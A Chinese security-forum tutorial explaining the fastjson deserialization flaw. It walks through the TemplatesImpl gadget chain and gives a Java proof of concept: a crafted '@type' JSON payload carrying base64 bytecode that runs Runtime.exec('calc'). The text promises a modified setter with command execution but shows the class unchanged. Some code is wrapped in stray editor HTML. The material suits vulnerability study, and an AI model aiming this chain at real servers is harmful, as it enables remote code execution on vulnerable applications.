安全矩阵

 找回密码
 立即注册
搜索
查看: 2523|回复: 0

fastjson从0到1

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-3-19 00:53:55 | 显示全部楼层 |阅读模式
原文链接:fastjson从0到1 (qq.com)




fastjson简单使用
User:
  1. package com.naihe;

  2. public class User {
  3.     private String name;
  4.     private int age;

  5.     public User() {}
  6.    
  7.     public User(String name, int age) {
  8.         this.name = name;
  9.         this.age = age;
  10.     }

  11.     public String getName() {
  12.         return name;
  13.     }

  14.     public void setName(String name) {
  15.         this.name = name;
  16.     }

  17.     public int getAge() {
  18.         return age;
  19.     }

  20.     public void setAge(int age) {
  21.         this.age = age;
  22.     }
  23. }
复制代码


Demo:
  1. package com.naihe;

  2. import com.alibaba.fastjson.JSONObject;
  3. import com.alibaba.fastjson.serializer.SerializerFeature;

  4. public class FS {
  5.     public static void main(String[] args) {
  6.         User user1 = new User("小李",10);
  7.         String JsStr1= JSONObject.toJSONString(user1);
  8.         System.out.println(JsStr1);

  9.         User user2 = new User("大李",100);
  10.         String JsStr2= JSONObject.toJSONString(user2, SerializerFeature.WriteClassName);
  11.         System.out.println(JsStr2);

  12.         String str = "{"@type":"com.naihe.User","age":1000,"name":"老李"}";
  13.         Object obj1 = JSONObject.parse(str);
  14.         System.out.println(obj1);

  15.         Object obj2 = JSONObject.parseObject(str);
  16.         System.out.println(obj2);

  17.     }
  18. }
复制代码




反序列化漏洞分析
由于fastjson调试起来过程比较复杂,在这里直接看关键点:首先会获取字符串的第一对引号中的内容

如果内容为@type就会加载下一对引号中的类



在JavaBeanInfo.class中会获取类中所有详细详细 在这里匹配以set开头的方法



这里判断函数名长度大于4,且以set开头,非静态函数,返回类型为void或当前类参数个数为1个的方法

  1. methodName.length() >= 4 &&
  2. !Modifier.isStatic(method.getModifiers()) &&
  3. (method.getReturnType().equals(Void.TYPE) ||
  4. method.getReturnType().equals(method.getDeclaringClass())))
复制代码


函数名长度大于等于4非静态方法,以get开头且第4个字母为大写,无参数,返回值类型继承自Collection或Map或AtomicBoolean,或Atomiclnteger或AtomicLon的方法
  1. methodName.length() >= 4 &&
  2. !Modifier.isStatic(method.getModifiers()) &&
  3. methodName.startsWith("get") &&
  4. Character.isUpperCase(methodName.charAt(3)) &&
  5. method.getParameterTypes().length == 0 &&
  6. (Collection.class.isAssignableFrom(method.getReturnType()) ||
  7. Map.class.isAssignableFrom(method.getReturnType()) ||
  8. AtomicBoolean.class == method.getReturnType() ||
  9. AtomicInteger.class == method.getReturnType() ||
  10. AtomicLong.class == method.getReturnType()))
复制代码


其实本质就是fastjson会利用反序列化通过无参构造创建一个对象,不通过setter或getter方法进行赋值与输出操作 因此我们只需要找到满足条件的类就行,这里一般利用的是 TemplatesImpl链来加载字节码,从而rce等操作 下面我们来证明一下我们的观点 在setter方法中添加一段命令执行的代码
  1. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22package%C2%A0com.naihe%3B%5Cn%5Cnpublic%C2%A0class%C2%A0User%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0private%C2%A0String%C2%A0name%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0private%C2%A0int%C2%A0age%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0User()%C2%A0%7B%7D%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0User(String%C2%A0name%2C%C2%A0int%C2%A0age)%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0this.name%C2%A0%3D%C2%A0name%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0this.age%C2%A0%3D%C2%A0age%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0String%C2%A0getName()%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0return%C2%A0name%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0void%C2%A0setName(String%C2%A0name)%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0this.name%C2%A0%3D%C2%A0name%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0int%C2%A0getAge()%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0return%C2%A0age%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0void%C2%A0setAge(int%C2%A0age)%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0this.age%C2%A0%3D%C2%A0age%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%7D%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">package com.naihe;

  2. public class User {
  3.     private String name;
  4.     private int age;

  5.     public User() {}

  6.     public User(String name, int age) {
  7.         this.name = name;
  8.         this.age = age;
  9.     }

  10.     public String getName() {
  11.         return name;
  12.     }

  13.     public void setName(String name) {
  14.         this.name = name;
  15.     }

  16.     public int getAge() {
  17.         return age;
  18.     }

  19.     public void setAge(int age) {
  20.         this.age = age;
  21.     }
  22. }</code></pre>
  23. <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.0.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span>
复制代码


Demo:
  1. package com.naihe;

  2. import com.alibaba.fastjson.JSONObject;

  3. public class Demo1 {
  4.     public static void main(String[] args) {
  5.         String str = "{"@type":"com.naihe.User","age":1000,"name":"老李"}";
  6.         Object obj1 = JSONObject.parse(str);
  7.         
  8.     }
  9. }
复制代码



字节码加载利用defineClass加载字节码
  1. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22package%C2%A0com.naihe%3B%5Cn%5Cnimport%C2%A0javassist.CannotCompileException%3B%5Cnimport%C2%A0javassist.ClassPool%3B%5Cnimport%C2%A0javassist.CtClass%3B%5Cnimport%C2%A0javassist.NotFoundException%3B%5Cn%5Cnimport%C2%A0java.io.IOException%3B%5Cnimport%C2%A0java.lang.reflect.InvocationTargetException%3B%5Cnimport%C2%A0java.lang.reflect.Method%3B%5Cn%5Cnpublic%C2%A0class%C2%A0DC%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0static%C2%A0void%C2%A0main(String%5B%5D%C2%A0args)%C2%A0throws%C2%A0InvocationTargetException%2C%C2%A0IllegalAccessException%2C%C2%A0NoSuchMethodException%2C%C2%A0InstantiationException%2C%C2%A0NotFoundException%2C%C2%A0CannotCompileException%2C%C2%A0IOException%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%2F%2F%E9%80%9A%E8%BF%87%E5%AD%97%E8%8A%82%E7%A0%81%E6%9E%84%E5%BB%BA%E6%81%B6%E6%84%8F%E7%B1%BB%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0ClassPool%C2%A0classPool%3DClassPool.getDefault()%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0String%C2%A0AbstractTranslet%3D%5C%22com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet%5C%22%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0classPool.appendClassPath(AbstractTranslet)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0CtClass%C2%A0payload%3DclassPool.makeClass(%5C%22CommonsCollections3%5C%22)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0payload.setSuperclass(classPool.get(AbstractTranslet))%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0payload.makeClassInitializer().setBody(%5C%22java.lang.Runtime.getRuntime().exec(%5C%5C%5C%22calc%5C%5C%5C%22)%3B%5C%22)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0byte%5B%5D%C2%A0code%3Dpayload.toBytecode()%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0Method%C2%A0defineClass%C2%A0%3D%C2%A0ClassLoader.class.getDeclaredMethod(%5C%22defineClass%5C%22%2C%C2%A0String.class%2C%C2%A0byte%5B%5D.class%2C%C2%A0int.class%2C%C2%A0int.class)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0defineClass.setAccessible(true)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0Class%C2%A0yyds%3D%C2%A0(Class)%C2%A0defineClass.invoke(ClassLoader.getSystemClassLoader()%2C%C2%A0%5C%22CommonsCollections3%5C%22%2C%C2%A0code%2C%C2%A00%2C%C2%A0code.length)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0yyds.newInstance()%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%7D%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">package com.naihe;

  2. import javassist.CannotCompileException;
  3. import javassist.ClassPool;
  4. import javassist.CtClass;
  5. import javassist.NotFoundException;

  6. import java.io.IOException;
  7. import java.lang.reflect.InvocationTargetException;
  8. import java.lang.reflect.Method;

  9. public class DC {
  10.     public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException, NotFoundException, CannotCompileException, IOException {
  11.         //通过字节码构建恶意类
  12.         ClassPool classPool=ClassPool.getDefault();
  13.         String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  14.         classPool.appendClassPath(AbstractTranslet);
  15.         CtClass payload=classPool.makeClass("CommonsCollections3");
  16.         payload.setSuperclass(classPool.get(AbstractTranslet));
  17.         payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
  18.         byte[] code=payload.toBytecode();

  19.         Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
  20.         defineClass.setAccessible(true);
  21.         Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "CommonsCollections3", code, 0, code.length);
  22.         yyds.newInstance();

  23.     }
  24. }</code></pre>
  25. <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.0.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span>
复制代码



利用TemplatesImpl加载字节码
  1. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22package%C2%A0com.naihe%3B%5Cn%5Cnimport%C2%A0com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl%3B%5Cnimport%C2%A0com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl%3B%5Cnimport%C2%A0javassist.ClassPool%3B%5Cnimport%C2%A0javassist.CtClass%3B%5Cn%5Cnimport%C2%A0java.lang.reflect.Field%3B%5Cnimport%C2%A0java.util.Base64%3B%5Cn%5Cnpublic%C2%A0class%C2%A0TL%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0private%C2%A0static%C2%A0void%C2%A0setFiledValue(Object%C2%A0obj%2C%C2%A0String%C2%A0fieldName%2C%C2%A0Object%C2%A0fieldValue)%C2%A0throws%C2%A0Exception%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0Field%C2%A0field%C2%A0%3D%C2%A0obj.getClass().getDeclaredField(fieldName)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0field.setAccessible(true)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0field.set(obj%2C%C2%A0fieldValue)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0static%C2%A0void%C2%A0main(String%5B%5D%C2%A0args)%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0try%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0ClassPool%C2%A0classPool%3DClassPool.getDefault()%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0String%C2%A0AbstractTranslet%3D%5C%22com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet%5C%22%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0classPool.appendClassPath(AbstractTranslet)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0CtClass%C2%A0payload%3DclassPool.makeClass(%5C%22CommonsCollections3%5C%22)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0payload.setSuperclass(classPool.get(AbstractTranslet))%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0payload.makeClassInitializer().setBody(%5C%22java.lang.Runtime.getRuntime().exec(%5C%5C%5C%22calc%5C%5C%5C%22)%3B%5C%22)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0byte%5B%5D%C2%A0codes%3Dpayload.toBytecode()%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0byte%5B%5D%5B%5D%C2%A0_bytecodes%C2%A0%3D%C2%A0new%C2%A0byte%5B%5D%5B%5D%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0codes%2C%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%7D%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0TemplatesImpl%C2%A0templates%C2%A0%3D%C2%A0new%C2%A0TemplatesImpl()%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0setFiledValue(templates%2C%C2%A0%5C%22_bytecodes%5C%22%2C%C2%A0_bytecodes)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0setFiledValue(templates%2C%C2%A0%5C%22_name%5C%22%2C%C2%A0%5C%22whatever%5C%22)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0setFiledValue(templates%2C%C2%A0%5C%22_tfactory%5C%22%2C%C2%A0new%C2%A0TransformerFactoryImpl())%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0templates.newTransformer()%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%7D%C2%A0catch%C2%A0(Exception%C2%A0e)%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0e.printStackTrace()%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%5Cn%7D%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">package com.naihe;

  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import javassist.ClassPool;
  5. import javassist.CtClass;

  6. import java.lang.reflect.Field;
  7. import java.util.Base64;

  8. public class TL {
  9.     private static void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {
  10.         Field field = obj.getClass().getDeclaredField(fieldName);
  11.         field.setAccessible(true);
  12.         field.set(obj, fieldValue);
  13.     }
  14.     public static void main(String[] args) {
  15.         try {
  16.             ClassPool classPool=ClassPool.getDefault();
  17.             String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  18.             classPool.appendClassPath(AbstractTranslet);
  19.             CtClass payload=classPool.makeClass("CommonsCollections3");
  20.             payload.setSuperclass(classPool.get(AbstractTranslet));
  21.             payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
  22.             byte[] codes=payload.toBytecode();

  23.             byte[][] _bytecodes = new byte[][] {
  24.                     codes,
  25.             };
  26.             TemplatesImpl templates = new TemplatesImpl();
  27.             setFiledValue(templates, "_bytecodes", _bytecodes);
  28.             setFiledValue(templates, "_name", "whatever");
  29.             setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());
  30.             templates.newTransformer();
  31.         } catch (Exception e) {
  32.             e.printStackTrace();
  33.         }
  34.     }

  35. }</code></pre>
  36. <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.0.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span>
复制代码



poc:
  1. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22package%C2%A0com.naihe%3B%5Cn%5Cnimport%C2%A0com.alibaba.fastjson.JSON%3B%5Cnimport%C2%A0com.alibaba.fastjson.parser.Feature%3B%5Cnimport%C2%A0com.alibaba.fastjson.parser.ParserConfig%3B%5Cnimport%C2%A0javassist.CannotCompileException%3B%5Cnimport%C2%A0javassist.ClassPool%3B%5Cnimport%C2%A0javassist.CtClass%3B%5Cnimport%C2%A0javassist.NotFoundException%3B%5Cn%5Cnimport%C2%A0java.io.IOException%3B%5Cnimport%C2%A0java.util.Base64%3B%5Cn%5Cnpublic%C2%A0class%C2%A0fastjson%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0static%C2%A0void%C2%A0main(String%5B%5D%C2%A0args)%C2%A0throws%C2%A0CannotCompileException%2C%C2%A0IOException%2C%C2%A0NotFoundException%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0ParserConfig%C2%A0config%C2%A0%3D%C2%A0new%C2%A0ParserConfig()%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0ClassPool%C2%A0classPool%3DClassPool.getDefault()%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0String%C2%A0AbstractTranslet%3D%5C%22com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet%5C%22%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0classPool.appendClassPath(AbstractTranslet)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0CtClass%C2%A0payload%3DclassPool.makeClass(%5C%22CommonsCollections3%5C%22)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0payload.setSuperclass(classPool.get(AbstractTranslet))%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0payload.makeClassInitializer().setBody(%5C%22java.lang.Runtime.getRuntime().exec(%5C%5C%5C%22calc%5C%5C%5C%22)%3B%5C%22)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0String%C2%A0str%C2%A0%3D%C2%A0Base64.getEncoder().encodeToString(payload.toBytecode())%3B%5Cn%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0String%C2%A0text%C2%A0%3D%C2%A0%5C%22%7B%5C%5C%5C%22%40type%5C%5C%5C%22%3A%5C%5C%5C%22com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl%5C%5C%5C%22%2C%5C%5C%5C%22_bytecodes%5C%5C%5C%22%3A%5B%5C%5C%5C%22%5C%22%2Bstr%2B%5C%22%5C%5C%5C%22%5D%2C'_name'%3A'a.b'%2C'_tfactory'%3A%7B%C2%A0%7D%2C%5C%5C%5C%22_outputProperties%5C%5C%5C%22%3A%7B%C2%A0%7D%7D%5C%22%3B%5Cn%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0Object%C2%A0obj%C2%A0%3D%C2%A0JSON.parseObject(text%2C%C2%A0Object.class%2C%C2%A0config%2C%C2%A0Feature.SupportNonPublicField)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%7D%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">package com.naihe;

  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.Feature;
  4. import com.alibaba.fastjson.parser.ParserConfig;
  5. import javassist.CannotCompileException;
  6. import javassist.ClassPool;
  7. import javassist.CtClass;
  8. import javassist.NotFoundException;

  9. import java.io.IOException;
  10. import java.util.Base64;

  11. public class fastjson {
  12.     public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {
  13.         ParserConfig config = new ParserConfig();
  14.         ClassPool classPool=ClassPool.getDefault();
  15.         String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  16.         classPool.appendClassPath(AbstractTranslet);
  17.         CtClass payload=classPool.makeClass("CommonsCollections3");
  18.         payload.setSuperclass(classPool.get(AbstractTranslet));
  19.         payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
  20.         String str = Base64.getEncoder().encodeToString(payload.toBytecode());


  21.         String text = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":[""+str+""],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}";


  22.         Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
  23.     }
  24. }</code></pre>
  25. <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.0.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span>
复制代码


利用分析
fastjosn一般是使用TemplatesImpl链来进行攻击的,在上面其实已经分析过fastjson在反序列化的时候会调用满足条件的getter方法,因此就会调用TemplatesImpl类的getOutputProperties方法,然后通过getOutputProperties,调用newTransformer






仔细观察就会发现poc中将byte进行了base64加密,那么这是为什么了?在调用deserialze时会执行base64解密


造成_bytecodes需要进行base64编码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 12:06 , Processed in 0.015880 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表